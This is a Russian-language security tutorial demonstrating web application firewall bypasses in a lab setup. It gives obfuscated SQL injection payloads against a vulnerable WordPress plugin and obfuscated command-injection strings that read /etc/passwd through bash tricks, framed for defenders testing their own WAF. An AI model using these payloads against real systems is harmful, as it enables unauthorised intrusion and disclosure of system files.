Информация предназначена исключительно для ознакомления. Не нарушайте законодательство.

Web Application Firewall — популярный инструмент для противодействия атакам на веб-приложения. В этой статье я продемонстрирую несколько способов обхода WAF.

WAF bypass: SQL injection

Для демонстрации я предварительно развернул веб-приложение на базе CMS WordPress и установил плагин, содержащий уязвимость в параметре cookie. Теперь попробуем выполнить ее эксплуатацию, используя пейлоад: ["1807192982')) union select 1,2,3,4,5,6,7,8,9,0,11#"]

Запрос был заблокирован WAF, но мы попробуем выполнить его обход: ["1807192982')) union se","lect 1,2,3,4,5,6,7,8,9,0,11#"]. В этом примере мы расщепляем операторы union и select символами ",".

Такой прием позволяет выполнить обход WAF, при этом на стороне веб-приложения запрос будет собран и обработается, как union select: ["1807192982')) union/**/select/**/1,/**/2,/**/3,/**/4,/**/5,/**/6,/**/7,/**/8,/**/9,/**/'pentestit',/**/11#"]

При замене всех пробелов в запросе на комментарий WAF не сможет распознать атаку. Слова union или select могут применяться в легитимных запросах, однако связка из этих операторов может быть использована для проведения атаки. В качестве простейшей сигнатуры можно использовать union\s+select, что приведет к меньшему количеству ложных срабатываний: ["1807192982')) union(select(1),2,3,4,5,6,7,8,9,0x70656e746573746974,11)#"]

Используя такой вид записи, можно также избежать использования пробелов между union select. В таком случае WAF не распознает атаку: ["1807192982')) union+/*!select*/ (1),(2),(3),(4),(5),(6),(7),(8),(9),(0x70656e746573746974),(11)#"]

Еще один способ — использование блочного комментирования для оператора select, которое характерно для MySQL: ["1807192982')) /*!u%6eion*/ /*!se%6cect*/ (1),(2),(3),(4),(5),(6),(7),(8),(9.),(0x70656e746573746974),(11)#"]

Также, можно использовать замену отдельных символов на их 16-ричный код: ["1807192982')) %2f**%2funion%2f**%2fselect (1),(2),(3),(4),(5),(6),(7),(8),(9),(0x70656e746573746974),(11)#"]

Данный способ схож с предыдущим, но здесь в 16-ричный код переводится «слэш».

WAF bypass: RCE

Рассмотрим варианты обхода WAF при эксплуатации RCE-уязвимости на предварительно созданной странице без фильтрации полей со стороны веб-приложения. Например, у нас есть запрос http://site.test.lan/test.php?search=cat /etc/passwd, который мы хотим выполнить. В таком виде он явно будет заблокирован сигнатурами WAF.

Ответ сервера:

Попробуем изменить запрос:
cat /etc/pa?swd
cat /etc/pa'ss'wd
cat /etc/pa**wd

Ответ сервера:

Изменяя разными способами один и тот же запрос, блокируемый сигнатурами WAF, мы можем получить выражение, которое WAF не распознает как атаку. В данном случае при помощи сигнатур в запросе производится поиск ключевого слова passswd. Расщепление ключевого слова в запросе не позволит WAF выявить сигнатуру: ec'h'o 'cat /etc/examplewd' | sed 's/example/pass/g' | bash

Данный метод последовательно выполняет: команду echo cat /etc/examplewd, затем с помощью функции sed необходимый участок строки cat /etc/examplewd заменяется по шаблону. После этого уже измененная строка передается в bash и выполняется на сервере, возвращая результат пользователю. Сам запрос будет выглядеть как строка, в которой отсутствуют признаки сигнатур, для WAF, но на стороне сервера запрос обработается как команда bash и вернет результат этой команды в веб-приложении: e'c'ho 'swd test pentest' |awk '{print "cat /etc/pas"$1}' |bash

Метод, похожий на предыдущий, с использованием функции awk: c\a\t \/\e\t\c/\p\a\s\sw\d
В bash при помощи \ можно экранировать символы. Воспользуемся этой возможностью для составления запроса.

Таким образом, выявление атак на основе сигнатур не является надежным средством защиты веб-приложения. Понимание принципа составления сигнатур и использование машинного обучения поможет справиться с методами обхода систем защиты.

P.S.: Если вы используете WAF — убедитесь, что он блокирует приведенные примеры их модификации.